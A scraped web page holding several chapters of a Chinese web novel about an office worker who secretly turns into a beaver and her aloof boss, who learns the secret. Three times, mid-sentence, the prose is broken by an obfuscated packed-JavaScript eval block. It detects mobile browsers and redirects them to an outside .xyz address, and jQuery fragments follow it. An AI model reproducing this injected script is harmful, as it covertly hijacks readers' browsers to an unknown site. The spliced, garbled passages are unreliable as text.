陈弋没说话,这似乎是心理医生告诉过他的事。要了解身边人的话,就要站在他们的角度思考问题。 “值得。”他的语调平淡,看了眼那闪烁的灯,“进去吧。” 徐向迩懊恼,“谢谢陈总。”她迅速跳进楼里,灯光一瞬亮起,随即她的身影消失其中,一楼房间打开时,她还往外探了一眼。 门口已经空无一人,只剩明晃晃的月光倾斜洒在空地里,她轻轻叹了口气,转身回家。 7. 烤肉 回到房间之后,徐向迩刚吞下从医院拿回来的药,还未把杯子放下,就瞬间变成河狸了。 幸好手里的玻璃杯跟着变成木棍,不然碎成玻璃渣很难收拾。 黑豆般的眼睛眨了又眨,徐向迩索性一屁股坐在地上,开始沉思。 到底是因为什么? 她透过一旁的全身镜看着自己,棕色的毛发在亮光下显得格外柔和,像是一只摆在货架上的河狸玩偶。 她颓然地倒在地板上,看着耀眼的顶灯,叹了口气。 手机“叮咚”一声。 她犹豫半响,还是伸出手,哦,是爪子太短,够不到。 河狸在地面滑行,挪动着屁股,终于够到了手机。 她打开一看,是陈弋发来的消息。 「你明天上午十点直接去商场,跟进项目,不用先来公司,收到回复。」 太好了,可以晚起一小时,耶! 徐向迩连忙用小爪子按住语音条,说了句“收到”并转为文字,发送之后,她突然灵光一闪。 为什么每次都会有陈弋的出现。 第一次是因为他不满意方案而加班,她在骂人。 第二次是和他出外勤,又被他气到有些难受,也在骂他。 第三次是他非要让她接管项目,害她躲在洗手间里难过委屈。 不同的情绪却都让她有些崩溃的时刻。 她在那些场合后的没过几分钟,就会变成河狸。 这可能就是原因! 自己的情绪变化! 而且今天在陈弋的办公室已经证实过,她只要再睡一觉就会回到人类状态。 变身原因和恢复方法,她都已经掌握了。 徐向迩高中做数学推理题都没有这么通透过。 可她却没有分析自己为什么刚刚会变成河狸,只是一味沉浸在喜悦中无法自拔。 小小河狸在屋子里跑来跑去,一下子扑在软软的抱枕上,“太好了,能避开这个恶毒礼物的完美方法就是,远离陈弋!保持情绪稳定!” / 次日十点整,徐向迩站在商场的妇女节活动场地,一瞬不瞬地盯着站在远处的陈弋。 “……还真是阴魂不散。”她边笑边往他的方向走,吐槽从嘴缝里冒出,“他什么时候这么闲了,什么项目都管啊。” “陈总,您怎么没收药费啊。” 他睨了她一眼,“公司报销,不用你交。” 徐向迩虽然质疑,但也了解他的性格,她还是回去问一下行政部,再和他谈收款的事吧,实在不想欠上司人情。 她收下疑惑,屁颠跟在他身后去布置现场,“哎,那陈总,为了表达我对你的感谢,中午我请你吃饭吧。” “吃肉吧。”他言简意赅。 徐向迩翻了个白眼,却也毕恭毕敬,“好的,我挑个烤肉店可以吗?会不会味道太大,那不然吃日料?或者是烤鱼,哦,这个味道也大。” “烤肉,下午我不去公司。” “好的。” “去帮他们定些咖啡吧。”陈弋站在快闪店中央,垂眸看向她。 徐向迩被他的急停吓住,后撤半步稳住,“好的,那买您常喝的那家。” “嗯,拿不了就找个跑腿。” “没事,我拿得了。” 徐向迩转身离开时,注意到快闪店的屏幕出现雪花,她停下脚步走到工作人员旁,“电子屏记得确认一下啊,到那天不要出现意外,还有宣传片已经更改了,你们也没有换。” 她提醒过后,就前往咖啡店。 一直忙到正午,场地已经完全准备好,可以确保万无一失。 徐向迩选了商场内的一家烤肉店,幸好是工作日,不用排队等号。 两人坐在店内角落的位置。 烤肉店里提供的水是大麦茶,趁着工作人员上菜时,徐向迩询问,“不好意思,请问有没有矿泉水?” 陈弋并不喝奇怪的茶水,除了白开水和冰美式外,几乎没见他喝过其他的饮料。这也是其他同事特意提醒她的,以免触碰到他的雷区。 “您稍等,我帮您拿一瓶。” “好的,谢谢。” 陈弋脱下西装外套,在她问服务员时,就抬眸看了她一眼。 拿到矿泉水后,她起身替他倒了一杯。 这时候应该要说些什么的吧。 可是她也真没想到陈弋会答应她的请求。 周遭的桌上都在烤肉,滋啦滋啦的声响没有停下过,大部分都是趁中午出来见朋友顺便吃个午饭,多半都在聊工作八卦。 在这样充满烟火气的氛围里,陈弋穿着西装裤,上身是深蓝色衬衫,白条纹领带,有些格格不入。 有些桌上的人都侧头过来看他,他却感受不到任何目光,专注吃肉。 徐向迩歪着脑袋,虽然有些尴尬,但还挺想笑。 “怎么不说话?” 陈弋见过她在公司餐厅的模样,和同事吃饭时话没停过。 “啊,要汇报工作吗?” 徐向迩猛塞进一口肉,抬眼震惊地看着他。 “不用。”陈弋小口小口吃肉,不搭理她了。 那是让她说什么。 徐向迩翻腾着烤熟的肉,用夹子将肉夹到他的碗里。 “……”她下意识的动作而已。 陈弋却没有嫌弃,直接把那小堆肉塞进嘴里,她抿着嘴忍笑。 大魔王倒也没有那么令人讨厌呀。 / 下午回到公司,徐向迩给周慧和其他组内的同事都带了奶茶。 她打开电脑,开始处理野生动物公益项目的推进程度。 周慧坐着椅子滑过来,吸着杯底的芋泥,发出滋滋的声响,“尔尔,身体好多了吗?” 徐向迩正在回复客户的线上消息,听到她的话,“好多了。” 这场病来得快去得也快。 或许是这两天太过折腾,又是在商场的狗窝睡觉,又是用冷水冲烫伤的皮肤,不生病才奇怪。 工作连轴转,再加上变成河狸这件荒唐的事,徐向迩没有注意到身体的不适感,才会拖到晕倒。 还是在领导的办公室,说是碰瓷都可以……? “那就好,苦了你了。”周慧猛吸几口奶茶,“哎,我都开始想念咱们俩刚进公司的时候了,天天摸鱼,真的太幸福了。自从大魔王来了,咱们就没好日子过了,难过。” “行了,你别感慨了。”徐向迩扔给她一次性勺子,“你还是挖着吃吧,别给办公室制造噪音了。” 周慧撇嘴,接过勺子开始舀芋泥,转到正题,“你中午和大魔王一起吃饭了?” 这个事她可没有说过。 徐向迩皱起眉头,侧过头看她,“你是怎么知道的?” “商场工作人员看到的,然后和贾于森说了,他上午在办公室又——” 又说她的坏话了。 徐向迩不喜欢这种办公氛围,但她也无能为力。 “好了,他说什么我也管不着啊,过去这个项目就好了。”她耸耸肩,又重新看向屏幕,“没事,反正大魔王已经来这么久了,他的行事风格咱们都知道。” 不讲道理,只管下达命令。 徐向迩只要做好自己分内的工作就好。 / 很快就到达三八妇女节。 徐向迩指挥摄影师在商场快闪店拍摄素材,忙忙碌碌一天,活动结束后,她整个人都累到能直接倒地睡着。 每次出活动现场,徐向迩都头顶冒星。 晚上九点,和工作人员一起收拾完现场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585581|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她走出商场,手里捧着一束郁金香。 是活动剩下的,收拾的时候工作人员想处理掉,徐向迩觉得浪费,便把它们带走。 “小花,累了一天了吧,还是这么漂亮。”其实边缘已经有些焉坏。 “走吧,我们回家吧。” 终于告一段落。 这两天,其他项目也加紧脚步,这个月再把野生动物项目搞定,她一定要把攒的假期休完。 二月初过年,公司的其他同事都要回老家过年,早早就买完春运的票,而徐向迩呢,自从大学毕业后,她再也没有去舅舅舅妈家过年,都是自己在江禾一个人过年。 虽然关系亲近,但都对她太过照顾,反而让她不知该如何处理,于是只在其他时间回去看看他们,但新年,她还是自己过比较好。 于是留在江禾市的她,在新年期间加班最多。 幸好忙碌的阶段已经过去,徐向迩张开手臂,轻盈地跑去公交车站。 末班车可不能错过。 北方三月的夜风依旧冷冽,徐向迩站在公交车站看着远处离开的末班车,无语望天。 冷静,冷静。 自从知道情绪变动能让她变成河狸后,她开始有意识地让情绪保持稳定。 不抱怨,不咒骂,不发怒。 反而让徐向迩能够专心做事,今天也是,遇到不讲理的游客时,她总能很好地调理自己。 此时,她只好低头看手机,看了眼打车费用,两眼一黑。 地铁和公交都不能做。 她就只能打车了。 可是好心疼钱。 于是徐向迩看向一旁的共享单车,骑车大概要骑将近一个小时。 没犹豫几秒,她就扫了一辆车,骑车回家。 郁金香被放在车筐,路上骑到颠簸的地方,郁金香快要跌出去,徐向迩倾身想把花从车筐边缘拉进去,却一个没注意,直直撞到前面的凸起的井盖。 徐向迩从单车上摔下来,她被车把撞到小腹,痛意弥漫全身,她整个人蜷缩起来。 夜里十点多,偏僻的路上,几乎没有行人。 她的额头冒出冷汗,咬牙缓过来,才起身将单车扶起来,把沾满尘土的郁金香也拾起来。 “最近,怎么这么倒霉。”徐向迩拍了拍身上的土,“幸好是天气冷,穿得多。” 索性接下来回家的路上都相安无事。 / 周一上午八点,徐向迩在摇晃的三号线地铁,差些被挤成肉饼。 周围的一些男性社畜身上有股腐烂苹果的味道,所有人的羽绒服都相互摩擦,头发泛起静电,她急匆匆下地铁后,边跑边捋着头发,直到走到公司门口,才又勉强拿出鲨鱼夹,将头发挽上。 策划部与其他部门在不同楼层,很少能与其他部门的人见面,也只在上班的电梯里能对上几眼,但也对不上名字。 徐向迩昏昏欲睡,内心想着要如何和陈弋请几天假休息,没有注意到电梯里的人在窃窃私语。 直到走进感应门,许多同事都朝她的方向看过来。 莫名其妙。 徐向迩看了眼旁边的透明玻璃,想看看自己身上哪里出了差错。 她却被跑过来的周慧一把薅进茶水间,里面没人。 “尔尔,你是不是没看到公司邮件?” “什么东西?” 周慧欲言又止,“你打开看一眼吧。” 闻言,徐向迩拿出手机,打开邮件看了一眼,有条群发邮件。 里面是一长串文字信息,她都没耐心看下去,划到最后看到几张照片是陈弋和她在烤肉店吃饭的照片,还有他抱着她离开公司上车的视频。 她的小腹隐隐作痛,最近似乎什么都不顺利。 徐向迩的人生就没顺利过。 8. 报复 原来那天在办公室晕倒,陈弋是直接把自己抱去医院的。 不过偷拍视频里他抱着自己,看起来颇为嫌弃,徐向迩看着画面冷笑了一下。 这也能扯到绯闻吗。 公司里的人都看不到她的胳膊都要垂到地上了吗,简直像条死鱼一样。 好无聊,这些人不好好上班,为什么要偷拍这些! 小公司也没有隐私啊。 徐向迩闭上眼睛,欲言又止,开始挑剔,“……这好差劲的偷拍技术。” 好幼稚,成年人的战场怎么能幼稚成这个样子。 她成为打工人这么久,还是不能适应这一切。 周慧又担忧又着急,拍拍她的肩膀,“这是重点吗!都在公司传开了,这可怎么办。” 徐向迩叹了口气,耸耸肩,“陈总知道这件事了吗?” “他还在外面见客户,没过来。”周慧往外探了一眼,“不是,谁会在他面前瞎说话,你还是担心担心自己吧。” “哦,说的也是。”徐向迩看到两人吃烤肉的照片,翻了个白眼。 他是男人这种事对他能有什么影响,甚至都不屑于管这些事吧。 她还是可怜可怜自己吧。 不可能沉默过去。 此时不发作,日后哪天再提及,就是她的不对。 徐向迩从不理会职场上那些肮脏的手段,她只要每个月工资到手就好,就已经足够。 可却有人欺负到她头上,甚至她都不用猜,用脚趾想想就知道是谁。 那天烫伤过后,她可没少涂烫伤膏。 徐向迩看向一旁的咖啡机,倒了杯热咖啡。 “你还有心情喝咖啡?你心态也是真好。”周慧跟着她,安慰着她,“反正你也没做过这种事,过段时间他们就都忘记了。” 徐向迩看了眼冒热气的咖啡,想了想,倒出去一些,添了一些冷水,笑着回应,“我凭什么要等着他们忘记,让这事过去啊。” 徐向迩走出茶水间,直冲着贾于森的工位走去,将咖啡顺着他的头顶浇下去。 周围的同事都被吓到,站起身往后撤。 跟在身后的周慧瞪大双眼,不敢吱声,内心却比了个大拇指。 贾于森从座位上跳起来,甩了甩头发,咖啡液溅落,“徐向迩!你有病吧!” “有病的人是你。”徐向迩把杯子往他的桌面上一撂,“凭什么几百字小作文就骂我一个啊,我是女的我就活该啊。我就奇了怪了,怎么在你眼里,想办法弄我的第一个办法,就是造黄瑶呢,没有别的办法吗,是我的方案你挑不出错,还是单纯心里脏啊。” “凭什么就是我的错,哎,怎么就不可能是他陈弋勾搭我呢,我还不乐意呢!” 好讨厌,好讨厌。 他没来之前,可没有这些破事。 鸦雀无声。 徐向迩微微仰起头,大获全胜。 可是她的功力也没发挥几分啊,她微微蹙着眉,直到站在一侧的周慧拽了拽她的挎包肩带。 她回过头去看,却看到站在不远处,刚刚回来的陈弋。 靠在同事的工位旁,一瞬不瞬地盯着她看。 完了,索性破罐子破摔吧。 她还没说话,贾于森又发病,“呵,你以为你是谁啊,徐向迩。在这耀武扬威个什么劲啊。” 没等他说完,徐向迩一拳打在他的脸上。 反正工作也要没了,她可不惯着这种人,这招还是徐鸣教过的。 “……” 贾于森想伸手反击时,却被走过来的陈弋拦住,“够了。” 难道要大事化小小事化了吗。 干脆连他一起打?她也已经忍他很久了。 “陈总,我知道您向着她,倒不如今天都说开了。”贾于森甩开他的手,整了整衣服,“我知道您早就看我不爽了,是徐向迩经常在你耳边说我坏话,还是怎么着了,哪能这么欺负人?” 陈弋蹙着眉,语气平淡,“是因为你一个月请假十天,旷工两天,方案总推给其他人做,而且做得很烂,其中做得不错的项目都是参考了其他人的想法,然后全都说成是自己的idea。” “难道不该看你不爽吗,那方案真的很垃圾。正打算辞退你呢,结果你做出这种事。”他从口袋里抽出纸巾,擦了擦手,像看垃圾一样看着贾于森,而后嫌弃地把湿纸巾扔在一旁的垃圾桶里。 “还是报警吧。” 徐向迩正憋着笑呢,听说要报警。 “啊,为什么要报警?” “都散播我的不实信息了,我为什么不报警。”他面露疑惑,让一旁的助理报警。 徐向迩看着他走进办公室的身影,歪歪嘴。 这人是在向着她说话的吧。 没过多久,警察真的来了。 徐向迩定睛一看,来的是派出所做民警的刘叔。 她上完大学回到江禾市去过警局,拜访过之前父亲的同事,当时没有看见刘叔,才知道他不再做刑警,转去派出所做民警了。 “刘叔,怎么是你?” “哎,这不是小耳朵吗,你在这上班啊。” “对啊,刘叔,我受委屈了。”徐向迩撇着小嘴,把来龙去脉讲了一遍。 另一位民警则查看证据,对贾于森进行批评教育。 刘叔提醒她,“尔尔,到时候你们来派出所一趟,记得把各种证据带上,你要是不接受道歉,不原谅的话,我们可以进行行政警告的,也可以起诉他去维权。” “好的,刘叔,这些我都知道。”徐向迩叹了口气,她可没想闹这么大的。 虽然也正合她的心意。 她冲着贾于森翻了个白眼,自从方才发觉她与民警认识后,贾于森就换了个态度。 开始道歉和认错并且承诺在公司群发邮件道歉。 好怂。 徐向迩撂下一句,“咱们还是派出所见吧。”就转身送刘叔离开。 “哎,尔尔,咱们也都好久不见了吧,我之前在公安局的时候,你可是天天往那跑,去找你爸爸。”刘叔粗糙充满岁月痕迹的手,轻轻拍在她的肩膀,“现在都是大姑娘了,知道不能让自己受委屈就好,下次有什么事,就给我们打电话,现在都闲着呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585582|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,我知道的,刘叔。”徐向迩强忍住快要决堤的眼泪,她看着刘叔眼角的皱纹,就开始想父亲如果还活着,大概也会有许多细纹,或许也不会待在刑警队。 “下个月清明了,我们也去看你爸,到时候再见吧。” 徐向迩垂下的手轻轻颤抖了一下,而后迅速蜷缩起来掩饰,微扯唇角,“……好,辛苦刘叔了。” 她有些发晕,克制住难过的情绪过度渗进心脏,深呼吸几下,才重新回到办公区。 贾于森正从衬衣办公室出来,把门拍得震天响,气冲冲跑到工位去收拾东西,经过徐向迩身边时狠狠瞪了一眼。 看到他那发青的脸颊,徐向迩努力憋着笑,走到陈弋的办公室前,试探性地敲门。 依旧是那毫无波澜的声音,“进。” 陈弋坐在沙发上,翘着二郎腿,黑色西装有些发皱,他抬眼看过来,眼神锐利,轻轻扫了她一眼就低下头,把玩着袖扣,“徐向迩,我突然发现一件事。” “啊?”她十指纠缠着,正纠结如何道歉,听到这句话,眨着眼睛发怔,“什么,什么事?” 他指了指皮质沙发的边缘,有道划痕。 徐向迩不敢睁眼,真是罪过,“……” 差点忘记,上次变成河狸爬上去,不小心弄坏的。 “是你那天干的吧?” “呵呵,好像是诶……”她象征性地蹲下身,凑近观察,尴尬笑了下,“那怎么办啊——” “沙发五千,你付个维修费五百吧。”她的靠近,令陈弋直起身体,往旁边一靠。 “五千的沙发!”徐向迩使劲扒拉两下,抬眸看到他锋利的下颌线,气势变弱,“虽然我很感谢您为我说话,可是陈总……” 你这么讹人不太好吧。 “我为你说话?” 她反应过来,疯狂摇头,轻盈的刘海跟着摇晃,“没有,你是为自己说话。” “嗯,毕竟你都造谣我勾搭你了,我确实需要报警自证一下清白。” “?”她活该,非要接话是吧。 “我微信付款吧,陈总。”她努力控制好情绪,想到上次的医药费,狠狠心咬牙补充,“连同那天的医药费一起付吧,我都问过了,没有报销。” 虽然心疼钱,但还是不想欠他的钱。 “随你。” 陈弋起身,见她还蹲在沙发前,“还不起来?” “哦哦,马上。”徐向迩跟着他走到办公桌,他拿起文件,递过来,“新项目,你们组其他人都在忙,你先负责吧。” “啊?”有这么马不停蹄吗…… “是歌星千语的生日宴策划。” “我接!”徐向迩眼睛发亮,立马接过文件,忐忑地看了他一眼,像只谨慎的仓鼠,“那我是不是就不用像贾于森一样离职了啊。” “你为什么要离职?” “我……出言不逊?” “嗯,而且还损坏公物,还吃公司的——”陈弋的话戛然而止,转移话题,“别废话了,快出去通知他们开会。” “好勒,谢谢陈总。”徐向迩弯腰鞠躬,飞速离开办公室。 9. 掉马 三月下旬,春风和煦,路上的柳树已经冒出新芽,可杨絮在这时也不断飞扬在空中。 徐向迩作为过敏性鼻炎患者,哪怕再欣赏烂漫的春日,也每天都在痛恨着那些害她不停打喷嚏的飞絮。 也可能该怪罪的是每天都要去上班这件事。 她想要的假期没有到来,反而为讨好陈弋而变得愈发忙碌。 前段时间她毛毛躁躁犯过太多错,只好跟在他身边去改变自己的形象,如果不是为了工作她可不会这样。 可原本徐向迩并不是毛躁的人,起码上学的时候不是,看来工作真的可以改变性格。 真的恐怖。 好在野生动物的项目结束后,三月底,就是歌星千语的生日宴。 徐向迩初中时追过千语,特别喜欢她的歌。直到父亲去世,她就渐渐不再去关注这些明星信息。 后来上大学后,徐向迩也不忍心舅舅舅妈再为她花太多钱,就开始趁着课余时间打工。 也就更没有多余的钱去过千语的演唱会。 这次不用花钱,借着工作就可以见到千语简直赚翻! 徐向迩还给蒋柔发消息问她要不要来,可她的工作还没有结束,等主编剧走后,她才可以离开横店。 大概要五月回来。 “不和你说了,等会生日宴就要开始了。”徐向迩发了个语音过去。 蒋柔回复:“你记得多拍视频!给我要签名啊啊啊啊。” “知道了。”她收了手机,在后台就能听到外面粉丝的尖叫声。 开场前半小时,一切都准备就绪。 徐向迩看后台已经不需要她这个策划,就溜到粉丝后排的高架上,问公司派来的摄像师,“粉丝入场前,有没有采访过粉丝收集素材?” “有的,采访了几个。” “结束后也记得找些粉丝采访,那时候正是感动回味的时候,情绪会更浓,放在纪念影片里效果会更好。” 摄影哥笑:“知道了,小徐。这也不是你第一次做活动了,怎么这么紧张。” “因为是千语啊。”是父亲曾答应过,要带她去看演唱会的那个千语。 嘈杂的环境里,摄影哥没有听到她的回复,也就继续认真拍摄。 千语的生日宴,只请了一些陪伴她多年的粉丝,场子不大,但她对于音响设备要求甚高,公司里的人反复沟通过,才最终确定好舞台设计。 生日宴正式开始。 千语以她当年出道时唱的第一首歌开场。 刚上初中时,徐向迩的期中考试特别差劲,她垂着脑袋去刑侦大队找父亲徐鸣。 徐鸣把烟灭掉,“咋回事?我们小耳朵怎么这么无精打采的?” 她的丸子头摇晃,撇撇嘴,把几张试卷放在他的桌面上,“考试考了二十多名。” “这不挺好的吗。”徐鸣翻了翻试卷,看到数学考了三十分,哑声。 徐向迩委屈巴巴抬头,眼眶都红着,“可是小学同学笑话我。” 话音刚落,大颗大颗眼泪就往下落。 徐鸣立刻召集整个刑侦一队的组员都来哄她,几个叔叔阿姨和刚来的见习警官都围着她。 实习警官文瀚哥拍桌:“咱们去揍他,凭什么笑话小耳朵,他考的就很好吗!” 她打了个嗝,“他考了班级第一。” 文瀚哥再次拍桌,“班级第一了不起啊,咱们尔尔可是抓过小偷的。” 徐向迩埋在桌上,不搭理他们,声音沉闷,“那是你们抓的,我就是帮忙打了个电话。” 不知是哪个比较了解她的警察阿姨提议,“要不,咱们去KTV吧,好不好,我们去唱千语姐姐的歌!” 徐向迩噌地起身,跟着他们屁颠屁颠去KTV。 看着这些无比熟悉的刑侦队员,倒是把KTV老板吓一跳。 幸好就是来唱歌的。 那天,徐向迩和徐鸣就唱过千语的歌,和现在她站在舞台上的是同一首。 只不过当时还没有唱完,父亲他们就被紧急案件叫走,包间就剩下她和文瀚哥。 她觉得爸爸的背影好帅,时常为他的职业感到光荣。 只是在他为救受害者而死之后,她的潜意识将崇拜转化为恨意。 一首歌落幕,千语站在台上和粉丝聊天。 徐向迩无意识落下了眼泪,她往后避开,却在周围黯淡的环境里,这些眼泪并不起眼。 左右的音响声量太高,她的耳朵有些耳鸣,无数闪耀的应援棒在前面挥舞,眼睛好涩。 徐向迩体内陡然升出某种怪异的感觉,这种感觉像是预兆,太过熟悉。 她猛地跑到员工通道,越过堵在门口看演出的工作人员,回到空无一人的后台。 多为接待室,没有监控,她随便找了间房间进去后,反锁上门,依靠着门松了口气。 瞬间变成河狸。 “糟糕,这可怎么办!” 都好久没有变过河狸了,可能是方才情绪太过浓郁,一时忘记忍耐情绪。 “啊,算了,只要别人进不来就好。” “吧嗒”一声,徐向迩的毛茸茸耳朵一动,她的毛发竖起,小心翼翼地转身,豆大的眼睛看向沙发上坐着的陈弋,眨了一下。 他怎么在这! 完了,完了,为什么偏偏是他啊。 救命啊,天要让她亡! 徐向迩吞咽下口水,小小脚蹼往下稍微移动,“那个,陈总……我,你得精神病了,这些都是你的错觉。” “你其实病很久了,我是为你保守秘密的人!” 她在胡言乱语什么…… 陈弋却翘着二郎腿,把放在边缘的水杯往里放了放,而后抬眸看她,眼底毫无波澜,有些恍然大悟,“哦,原来你不是异食癖。” “什么?” 徐向迩不好意思地晃了晃尾巴,这尾巴她是真的不习惯! “有几回看到你手里都抓着木棍,嘴角也蹭着树皮,我以为你喜欢吃树枝。” “……”河狸站在门前,无语凝噎。 怪不得他每次看向自己的眼神都格外奇怪。 “陈总,你就这些反应吗?” 你都不害怕吗,人类变成河狸诶! 徐向迩果然不能共情这个冷漠理智的上司。 “哦,对。之前还不好意思说,现在能把走廊那几株绿植的钱赔了吗?” 她微微张着嘴,难以置信,这男人怎么回事。 “也行,我可以买新的。”她缓缓走过来,打算赌一把,“那个,陈总,既然你接受能力这么强,你能不能帮我个忙啊。” 陈弋今天没有穿西装,只是平常的休闲装。他轻松起身,蹲在地上,眼睛一瞬不瞬地盯着她朝自己靠近,嘴角一勾,“什么忙?” “帮我保守秘密,行不行?我也不知道为什么突然这样,但要是被人发现,你也知道,肯定会被人抓走研究,我不想。” “嗯嗯,感觉应该能赚挺多钱。” “……”徐向迩看了眼一旁的墙面,她还是一头撞死吧。 “好,保守秘密。”陈弋眼睛一眯,想到心理医生说过的话,“那你能不能也帮我一个忙?” “什么忙!都行的!”徐向迩听到外面的喧闹声,急得要跳起来,“那个,陈总,咱们能换个地方聊吗,安全的地方!” 她眨着豆豆眼,十分没有安全感,“没有人的地方,而且我饿了。” 她的眼睛一直在瞄角落的绿植,但这也不是好地方,还是算了吧。 幸好没有监控,不然真完了。 最终,陈弋拿着卫衣外套,将她裹在里面带出生日宴的场地。 在去往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585583|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车的路上,徐向迩贴着他的胸口,好几次都感受到他在忍笑,胸腔有些震动。 徐向迩蒙着耳朵,窝在卫衣里不说话。 脸都要丢尽了。 / 春夜的风卷起飘落的樱花,花瓣落在陈弋停在路边的车顶上。 他打开副驾门时,花瓣随着风飞进卫衣里,恰好落在徐向迩的鼻尖上,她冷不丁打了个喷嚏。 陈弋将她放在副驾上,“没事?” 河狸坐在座位上,揉揉鼻尖,“没事,没事,就是有点过敏。” 等到陈弋坐上车,将车开到附近的公园,才停下车。 徐向迩摸着毛茸茸的毛发,侧过头看向他。 他按上车窗,将安全带解开,“这附近没有摄像头。” “哦哦。”徐向迩站起身,爬上中控台,“陈总,你需要我帮你什么忙?” 什么天大的忙,能和她的秘密同等。 不会是什么违法的事吧。 “我需要你帮我和同事们亲近起来。” “?”徐向迩抿嘴,小牙齿却还是漏出边缘,“啥意思?” “字面意思。” 她一屁股坐在中控台,思考半响,陈弋不会是被她吓傻了吧。 陈弋看出她的呆愣,轻咳两声补充,“他们都怕我,影响工作效率,而且这半年来离职率过高……我不太能和上层报告,也影响我之后回去管理公司。” “哦,这样说我不就了解了。”徐向迩沉默片刻,他还真要回去管理公司,果然是个大少爷。 说简单也简单,但她要做这些事,会有极大的风险。 毕竟别人不知道啊,她原本就和他闹过邮件那件事,而且站在领导这边,本身就是对打工人的一种背叛。 徐向迩无法想象她会被其他同事骂得有多惨。 “犹豫什么?”他敲打着方向盘,看着眼前这只摸着自己脸颊的小河狸。 荒诞却也合理,怪不得她前阵子有那么多奇怪的举动,原来是这样的秘密让她为难。 陈弋敛眸,其实他没说实话。 其实他并不是由于工作缘故,而由于心理阴影,而无法与他人亲近,也不会处理人际关系,可他又想让自己好起来,他想要与人建立链接。 前段时间心理医生告诉他,倘若你想要试着学习如何与人相处,那就要在身边找个突破口。 在小小的咨询室里,陈弋脑海里浮现的是徐向迩的脸。 那个在会议室总窝在最角落的员工,中午吃饭塞到满嘴说不出话的员工,也是那个总能记住他喜好的员工,她似乎从不另眼看他。 何时开始对徐向迩有印象的,大概是刚进公司陈弋就注意到了。 那是更早的时候。 在两年多前,陈弋刚回到江禾市。 他开车外出时,正想进入停车场停车,突然被一辆自行车撞到车尾。 陈弋下车时,徐向迩就坐在地上,旁边是躺着的自行车,她坐在那里嚎啕大哭。 “哪里受伤了?”无论他怎么问话,她都不理人。 周围的人越围越多,不远处正在执勤的交警也赶过来。 交警蹲下身,乐了,“小姑娘,这怎么回事,哭这么惨啊。” “我怎么这么倒霉,我的面试也没通过,我是不是水逆呜呜呜呜。”徐向迩撇着嘴,只顾流眼泪,身旁的交警劝了又劝,她才止住眼泪,起来给陈弋鞠躬,“不好意思,不好意思,我就是骑着车没忍住哭了,没看见路,真的不好意思。” 陈弋没让她赔钱,想带她去医院看看身体,却被她拒绝,塞进他怀里一笔钱,就自己推着车远去。 后来,到公司后,一群人站着和他打招呼,她躲在电脑前,懵懵地被同事拽起来。 和两年前哭懵的表情一模一样。 哦,原来是她。 10. 合约 外面竟飘落下雨,湿透的樱花落在车前窗,在路灯的照耀下,像是粉色星辰。 徐向迩看着耀眼的光,鼓着小嘴啃着从路边捡到的树枝,认真思考。 她要是答应陈弋的要求,那以后就要多为他考虑,站在他的角度去和同事沟通,甚至要多说他的好话。 万一他走了,她这个狗腿子也只能滚蛋了吧。 她叹了口气。 工作重要还是隐瞒变身的事更重要,必须要做个决断。 这个工作没了,可以再找,可是被抓进研究所的话,她这辈子就算是完了。 “好吧,我答应你。”徐向迩摸着座椅站起来,一脸严肃地望着他,“那你也要帮我,不要把我的秘密说出去。” “好。” 她似乎忘记,这种事说出去也不会有人相信。 就这样入了他的套。 “那拉勾。”她看着自己的手指,讪讪一笑,“算了算了,改天拟个合同吧。” “明天我就写好内容,发你一份电子版。”陈弋低头注视着这团棕色的毛绒动物,良久,还是忍不住问,“那你要怎么……怎么变回来?” 他也不是接受能力过强,而是有轻微的情绪障碍,无法外露出自己的情绪。 或许是因为以前的经历,导致他习惯性隐藏情绪,久而久之,就慢慢习惯了。 但此时,和一只河狸说话,也过于匪夷所思,陈弋突然不知如何形容。 徐向迩此时却有些兴奋。 无论如何,世界上总算有个人知道这件荒诞的事情了,她可以在陈弋面前畅所欲言。 她跳下中控台,落在副驾驶座上的卫衣上,张牙舞爪开始阐述这几次变身的经历。 “我和你说,幸好是能睡一觉就能变回人类,不然我真的就完蛋了。”徐向迩瞥了眼中控台上的矿泉水,清了清嗓,“哎……有个人知道也挺好的,我这段时间真的折腾的好累。” 小家伙垂头丧气,倒在卫衣帽子里,令陈弋弯起唇角,伸出手拿出矿泉水,“所以你被我撞见之后,躲在狗窝睡了一觉。” “……嗯。”她抓了抓耳朵,有些难为情。 他将矿泉水打开,递过来,“拿得了?” “可以!”她捧着水开始喝。 喝过水,徐向迩圆圆的眼睛盯着他看,索性直接问,“你那天给保护组织打电话,人家说什么了?” 陈弋咳嗽两声,望向外面的雨帘,掩着嘴,“说我是神经病。” 徐向迩忍着笑,到最后还是没忍住,笑到仰过去。 